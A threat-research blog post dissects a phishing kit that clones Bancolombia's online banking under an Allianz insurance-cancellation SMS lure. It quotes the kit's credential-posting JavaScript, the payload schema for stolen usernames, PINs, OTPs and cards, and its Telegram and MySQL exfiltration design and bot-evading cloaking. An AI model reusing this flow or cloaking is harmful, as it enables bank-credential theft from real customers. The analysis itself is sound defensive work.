researching the 'PETH' PhaaS Kit: Allianz + Bancolombia Clone
How I stumbled onto a dead-end phishing lure and ended up crawling inside a PhaaS kit impersonating an Allianz insurance product sold through Bancolombia — a clone that funnels every victim action through a single /peth.php sink into a dual Telegram + MySQL exfiltration channel.
Researching the ‘PETH’ PhaaS Kit: Allianz + Bancolombia Clone
The other day I stumbled across a dead-end phishing lure. It was a text message, a simple SMS, that promised to cancel an Allianz insurance policy I didn’t have.
The message was a clever lure. It engineered moderate urgency, enough to act, not enough to doubt.
The message:
Sr(a) usuario: hemos activado SEGURO A.L.Z por 289.999. a entidad aliada B/CoI #3xxxxxxxx No esta de acuerdo? Anula antes de cobro en: suezplz.site/
For anyone who isn’t technical I wouldn’t recommend clicking on a link like that. But for me, it was irresistible. So I clicked lmao.
The page opened in my phone, It had a bunch of redirects but eventually landed on a near-perfect clone of Bancolombia’s “Sucursal Virtual Personas”, the bank’s interface for payments, all themed around Allianz insurance.
The following text showed
Inicia el proceso de cancelación de tu seguro Allianz
Se ha Activado exitosamente tu Seguro Allianz. Te protejemos ante situaciones como pérdida, robo o hurto calificado de tus tarjetas débito o crédito, y respaldo frente a alguna calamidad que pueda comprometer tu salud.
Recuerda, tienes 3 días habiles desde la activación para cancelar sin ningún costo adicional. Debito mensual: $289.999.
Cancelar Seguro
The page asked for my bank username, and cashier pin.
So I filled this with fake data and eventually got a fake error, exfil was done.
and then opened the site on burp, and that’s where I found something interesting, the site didn’t load right away, it’s because they have multiple anti-bot measurements, including Cloudflare Turnstile, FingerprintJS BotD and user-agent based cloaking.
The campaign is supposed to only work on mobile, so if you open it on desktop it will redirect you to a benign insurance site. Ironically this isn’t well implemented because the final page always loads, even on desktop, it’s the anti-bot wall that prevents you from seeing it and redirecting you to the “benign” site.
Domains & Infrastructure
- Lure domain:
suezplz.site(Cloudflare) —104.21.34.245 - Kit host:
wwwebsusegestionalzsucacceso.st(Cloudflare) —172.67.146.229 - Origin:
Apache/2.4.41 (Ubuntu)behind Cloudflare (edge MIA + BOG, HTTP/2/h3) - Telegram exfil config:
config/telegram-secure.php(46 KB) +config/telegram-credentials.enc(448 bytes, encrypted) - Directories were wide open:
/process/and/config/both returned full Apache directory listings. - Click tracking:
click-tracker.js,pa-sec555view.js,pa-botd.js,botd.esm.js
How the campaign was put together
Let me lay out how this whole thing worked before we get into the good stuff. It’s a classic double-sided PhaaS funnel:
Lure (SMS/ad/WhatsApp)
└─▶ suezplz.site ──HTTP 302──▶ https://wwwebsusegestionalzsucacceso.st/api/crdf/allz19/1.html
"Benign" face (cloaking for desktop / bots):
/api/index.php ──meta-refresh 1s──▶ /api/recosure.html (legit-looking insurance info site)
Credential flow:
/api/crdf/allz{18,19,20}/1.html "Cancelar seguro allnz"
[Cancelar Seguro]
→ POST /peth.php {entidad:'allnz', step:'click_cancelar_seguro'}
→ /api/sucursal/p1.html "Ingresa tu usuario" (Sucursal Virtual Personas)
→ POST /peth.php {tipo:'guardar', usuario, entidad:'botonbcol', step:'usuario_ingresado'}
→ index-clave.html (clave — INFERRED, not captured)
→ validate-number-core.php (celular) → OTP → tarjeta (INFERRED)
The two faces
There were three lure variants deployed (allz18, allz19, allz20) — all branded allnz, all pointing at the same $289.999 “Cancelar seguro” story. On click, the page fired postToPeth({entidad:'allnz', step:'click_cancelar_seguro'}) and redirected to the Bancolombia clone.
And then there was the decoy: /api/recosure.html, a lang="es-CO" insurance information site (“NexCore Platform — centro de orientación”) with a contact form and a Leaflet map. This was the cloak. Desktop visitors and bots got bounced here to stay under the radar.
The credential clone
/api/sucursal/p1.html was a clone of Bancolombia’s Sucursal Virtual Personas — the form asked for the victim’s usuario (alphanumeric, validated 6–20 chars). On submit it shipped the data through the tracker and, to add pressure, displayed the visitor’s public IP and date/time in es-CO:
const userData = { usuario: username, entidad: 'botonbcol', step: 'usuario_ingresado', timestamp: ... };
await window.postToPeth(Object.assign({tipo:'guardar', timestamp: new Date().toISOString()}, userData));
window.location.href = 'index-clave.html';
The later pages — index-clave.html (key), OTP, card — were never captured (Cloudflare-blocked / taken down). Their existence is inferred from the code and the kit’s own docs, not observed.
Static analysis
When checking a js file I noticed a reference to a file called click-tracker.js, which contains the exfil logic, there were spanish speaking comments and NOTAS-PETH.md was referenced in the comments, I checked the file and it was a markdown file with internal documentation, including a diagram of the exfiltration model, fascinating.
This also exposed the other paths.
The comment that opened the whole backend
The way in wasn’t a fuzzer or a scan. It was a one-line comment at the top of the kit’s own JavaScript:
// click-tracker.js (line 3)
// Documentación: NOTAS-PETH.md en la raíz del proyecto.
So the scammer’s internal documentation — the dev note with the whole exfiltration model, JSON schema, and setup checklist — was sitting at the root of the host, reachable by anyone who could read a JS comment. That one line turned a wall of Cloudflare 403s into a guided tour:
GET /NOTAS-PETH.md→ the kit’s manual, out in the open. 🗺️GET /process/→ full directory listing.GET /config/→ another listing, with the encrypted Telegram token.
Key Insight: the biggest leak in a PhaaS kit is often not an exposed endpoint — it’s a comment in the code that points to one. Read the JS before you fuzz.
Directories
/process/
All the backend workers, sizes + Last-Modified from the exposed index:
| File | Size | Last modified |
|---|---|---|
save-user-data-core.php |
21K | 2026-07-20 |
panel-actions.php |
12K | 2026-08-01 |
bin-lookup.php |
9.2K | 2026-05-03 |
check-admin-actions.php |
7.4K | 2026-08-01 |
get-users.php |
6.2K | 2026-08-01 |
telegram-notifications.php |
5.7K | 2026-05-03 |
register-click-core.php |
2.9K | 2026-07-11 |
validate-number-core.php |
2.8K | 2026-07-06 |
peth-telegram-core.php |
2.4K | 2026-08-01 |
clear-database.php |
2.5K | 2026-05-03 |
get-click-stats.php |
1.8K | 2026-05-03 |
get-perso-question.php |
1.7K | 20.26-07-11 |
ensure-perso-columns.php |
1.5K | 2026-07-11 |
peth-loader.php |
1.0K | 2026-08-01 |
The Last-Modified timestamps tell a story about operator activity: initial install ~2026-05-03, steady updates through 2026-07/08 (save-user-data-core.php and telegram-secure.php both touched 2026-08-01). This is an actively maintained kit.
/config/
| File | Size | Notes |
|---|---|---|
telegram-secure.php |
46K | Telegram integration |
admin-login-otp.php |
9.4K | OTP login for the admin panel |
visitor-click.php |
12K | |
database.php |
2.1K | returned 200 with an empty body — no source leak |
handyapi.php |
754 | |
telegram-credentials.enc |
448 | encrypted bot token |
type-overrides.json |
28 | {} |
I tried to pull database.php source and .env/.env.enc — database.php executed and returned 200 with an empty body, the .env files returned 404. So the real DB credentials and the Telegram key are assumed hardcoded in the backend source, out of reach of the dump.
The tracker — js/click-tracker.js
The kit injects this on every page of the flow. It builds a stable identity per victim and ships each step to the single endpoint.
Victim identity
visitor_hash_id=SHA-256(IP + '|' + User-Agent), persisted inlocalStorage.visitor_ipfetched fromhttps://api.ipify.org?format=json, cached.peth_action_history— rolling JSON of steps (max 25,version: 2).click_tracker_<hash>— marks the visit already recorded.
Payload schema (POST → /peth.php)
{
"hash_id": "sha256...",
"ip_address": "190.x.x.x",
"user_agent": "Mozilla/...",
"historial": { "version": 2, "pasos": [ { "at": "...", "page": "...", "tipo": "visita", "step": "" } ], "datos": {} },
"page": "/api/crdf/allz18/1.html",
"tipo": "guardar",
"step": "clave_ingresada",
"usuario": "...",
"clave": "...",
"entidad": "botonbcol",
"timestamp": "2026-..."
}
Event types & steps
- tipo:
visita,guardar,datos_tarjeta,numero,metodo_pago,error_terminal. - step:
usuario_ingresado,clave_ingresada,otp_enviado,tarjeta_ingresada,click_cancelar_seguro. - entidad (brands):
allnz/allz18/19/20,botonbcol(Bancolombia). The kit is multi-brand: modulesclr0,sucursal,personas,cards,pagosv2,m0viis,jlptexist but weren’t exercised in this capture.
Every non-visita POST triggers a transparent loading spinner overlay themed per-brand (served by process/peth-loader.php, CORS *). If the page is served over plain HTTP (no crypto.subtle), it fires tipo:'error_terminal' instead.
The exfiltration channel
Everything funnels through one JSON endpoint, and fans out two ways:
Victim JS ──POST──▶ /peth.php
├─▶ Telegram (config/telegram-secure.php) → real-time alerts, full walk-through
└─▶ MySQL (process/*-core.php) → users / contacto / enlaces / contador_clicks
Per the kit’s own docs (NOTAS-PETH.md): Telegram gets the JSON as-is, including the historial walk-through; the database discards historial; hash_id links the visit to the user in the admin panel.
The Telegram bot that never pinged anyone
And now, the best part of the story. I tried to exercise the Telegram channel… and the bot was broken.
GET api.telegram.org/.../getMe → 404 Not Found
The token was stored encrypted (telegram-credentials.enc, 448 bytes of binary) and the ${token} template never got interpolated server-side. So:
The scammer built an entire real-time Telegram alerting channel for stolen data… and the token didn’t work. 💀
A thousand victims could have fallen for it and the notification would never have arrived. A poem of mismanaged crime.
The good, the bad, the ugly
The good (for the attacker):
- ✅ Mobile-only cloaking + Cloudflare Turnstile + FingerprintJS BotD = the phish only rendered for a real victim.
- ✅ Single
/peth.phpsink with a dual exfiltration channel. - ✅ The credential front end was Cloudflare-blocked, containing live damage.
The bad (for the attacker):
- ❌ The Telegram bot was dead.
- ❌ Internal documentation left exposed at the root.
- ❌ Open directory listings in
/process/and/config/.
The ugly (for everyone):
- The kit is multi-brand — not just Allianz and Bancolombia, but modules for
clr0,m0viis,jlpt,personas,cards,pagosv2. A scam factory at industrial scale.
The anti-bot wall (defense in depth)
Three independent layers:
- The kit’s own cloaking (
pa-sec555view.js) — mobile-only. Desktop UA orisPC→ bounce to the benign/api/index.php. Plus anti-DevTools (F12,Ctrl+Shift+I/J/C,Ctrl+U) and anti-frame (window !== window.top → top.location). - FingerprintJS BotD v2.0.0 (
botd.esm.js) — bot detection baked into the cloaking. - Cloudflare — Managed Challenge (
cf_clearance), Turnstile (sitekey0x4AAAAAABDaGKKSGLylJZFA) with constantcrashed_retry/failure_retry/upgrade_reload, and a “Suspected Phishing” block on the credential page.
